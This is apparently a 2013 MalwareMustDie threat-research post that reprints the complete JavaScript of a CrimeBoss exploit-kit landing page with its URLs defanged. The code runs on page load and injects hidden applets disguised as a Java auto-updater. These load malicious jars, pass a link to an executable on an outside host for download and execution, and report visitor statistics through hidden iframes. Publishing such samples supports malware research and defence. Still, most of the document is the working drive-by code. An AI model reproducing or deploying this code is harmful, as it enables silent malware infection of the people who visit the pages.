#malwareMustDie - CrimeBoss landing Page | 2013 Jan 29

// MalwareMustDie
// PiC: @Hulk_Crusader
// Analyzed by: @unixfreaxjp

var jsm_lab_on		= true;
var jsm_lab_access	= 'h00p://boyssuitsonline.com/jex/index.php?action=stats_access';
var jsm_lab_javaon	= 'h00p://boyssuitsonline.com/jex/index.php?action=stats_javaon';
var jsm_lab_javaoff	= 'h00p://boyssuitsonline.com/jex/index.php?action=stats_javaoff';
var jsm_lab_loaded	= 'h00p://boyssuitsonline.com/jex/index.php?action=stats_loaded';
var jsm_lab_loadfail	= 'h00p://boyssuitsonline.com/jex/index.php?action=stats_loadfail';

var jsm_loaded			= false;
var jsm_applet_index	= 1;
var jsm_applet_count	= 10;
var jsm_applet_prefix	= 'amor';
var jsm_applet_url	= '--h00p://launafauna.com/app/';

var jsm_popunder_url	= 'h00p://celularbom.com/js/clickpop.js';

function JSM_getAppletURL()
{
	return jsm_applet_url + jsm_applet_prefix + jsm_applet_index + '.jar';
}

function JSM_createIframe(src)
{
	var iframe = document.createElement('iframe');
	iframe.src = src;
	iframe.style.visibility = 'hidden';
	iframe.style.display = 'inline';
	iframe.style.margin = '0';
	iframe.style.padding = '0';
	iframe.style.border = 'none';
	iframe.style.width = '0';
	iframe.style.height = '0';
	return iframe;
}

function JSM_createScript(src)
{
	var script = document.createElement('script');
	script.type = 'text/javascript';
	script.src = src;
	return script;
}

function getXMLh00pRequest()
{
	if (window.XMLh00pRequest) return new window.XMLh00pRequest;
	else
	{
		try
		{
			return new ActiveXObject("Microsoft.XMLh00p");
		}
		catch(ex)
		{
			return null;
		}
	}
}

function JSM_labReport(url)
{
	var oReq = getXMLh00pRequest();
	if (oReq)
	{
		oReq.onreadystatechange = function ()
		{
			if (oReq.readyState == 4)
			{
				if (oReq.status == 200)
				{
					//window.alert('from callback ' + oReq.responseText);
				}
			}
		};

		oReq.open("GET", url, true);
		oReq.send();
	}
}

function JSM_labReport2(url)
{
	var hhBody = document.body;
	if (hhBody)
	{
		hhBody.insertBefore(JSM_createIframe(url), hhBody.firstChild);
	}
}

function JSM_createImg(src)
{
	var img = document.createElement('img');
	img.src = src;
	return img;
}

function JSM_createSpan(html)
{
	var span = document.createElement('span');
	span.innerHTML = html;
	return span;
}

function JSM_getAppletHtml()
{
	return '＜applet name="Java(TM) Platform SE Auto Updater" code="amor.class" archive="' + JSM_getAppletURL() + '" width="0" height="0"  style="visibility: hidden" mayscript="true"＞	＜param name="link" value="h00p://patuamusic.com.br/app/rh.exe;exe;0"＞ ＜/param＞＜/applet＞';
}

function JSM_getAppletHtml_Y()
{
	return '＜applet name="Java(TM) Platform SE Auto Updater" code="amor.class" archive="' + jsm_applet_url + 'java7.jar?r=' + Math.floor(100000 + (Math.random()*999999 + 1)) + '" width="0" height="0"  style="visibility: hidden"＞ ＜param name="link" value="h00p://patuamusic.com.br/app/rh.exe;exe;0"＞ ＜/param＞ ＜/applet＞';
}

function JSM_getAppletHtml_X()
{
	return '＜applet name="Java(TM) Platform SE Auto Updater" code="amor.class" archive="' + jsm_applet_url + 'jmx.jar?r=' + Math.floor(100000 + (Math.random()*999999 + 1)) + '" width="0" height="0"  style="visibility: hidden"＞ ＜param name="link" value="h00p://patuamusic.com.br/app/rh.exe;exe;0"＞ ＜/param＞ ＜/applet＞';
}

//Normal
function JSM_onLoadA()
{
	//if (jsm_lab_on) JSM_labReport(jsm_lab_loaded);
	if (jsm_lab_on) JSM_labReport2(jsm_lab_loaded);
}


//Java JMX
function JSM_onLoadB()
{
	//if (jsm_lab_on) JSM_labReport(jsm_lab_loaded);
	if (jsm_lab_on) JSM_labReport2(jsm_lab_loaded + '&k=j');
}


//Java 7
function JSM_onLoadC()
{
	//if (jsm_lab_on) JSM_labReport(jsm_lab_loaded);
	if (jsm_lab_on) JSM_labReport2(jsm_lab_loaded+ '&k=c');
}

function JSM_onLoadFail()
{
	//if (jsm_lab_on) JSM_labReport(jsm_lab_loadfail);
	if (jsm_lab_on) JSM_labReport2(jsm_lab_loadfail);
	alert(123);
	if (jsm_applet_index ＜ jsm_applet_count)
	{
		jsm_applet_index++;

		var hBody = document.body;
		if (hBody)
		{
			var html = JSM_getAppletHtml();
			hBody.insertBefore(JSM_createSpan(html), hBody.firstChild);
		}
	}
}

function JSM_onInit(hBody)
{

	//if (jsm_lab_on) JSM_labReport(jsm_lab_access);
	if (jsm_lab_on) JSM_labReport2(jsm_lab_access);

	if (hBody)
	{
		var html = '';

		if (navigator.javaEnabled())
		{
			//java on

			html = JSM_getAppletHtml_Y() + JSM_getAppletHtml_X() + JSM_getAppletHtml();

			//if (jsm_lab_on) JSM_labReport(jsm_lab_javaon);
			if (jsm_lab_on) JSM_labReport2(jsm_lab_javaon);

			hBody.insertBefore(JSM_createSpan(html), hBody.firstChild);
		}
		else
		{
			//report java disabled access
			if (jsm_lab_on) JSM_labReport2(jsm_lab_javaoff);
		}

		//hBody.insertBefore(JSM_createScript(jsm_popunder_url), hBody.firstChild);
	}
}

function JSM_onCreate()
{
	if (jsm_loaded) return;

	var myBody = document.body;
	if (myBody)
	{
		jsm_loaded = true;
		JSM_onInit(myBody);
	}
	else
	{
		setTimeout("JSM_onCreate()", 100);
	}
}

function WindowOnload(f)
{
	var prev = window.onload;
	window.onload = function() { if (prev) prev(); f(); }
}

WindowOnload(JSM_onCreate);
setTimeout("JSM_onCreate()", 7000);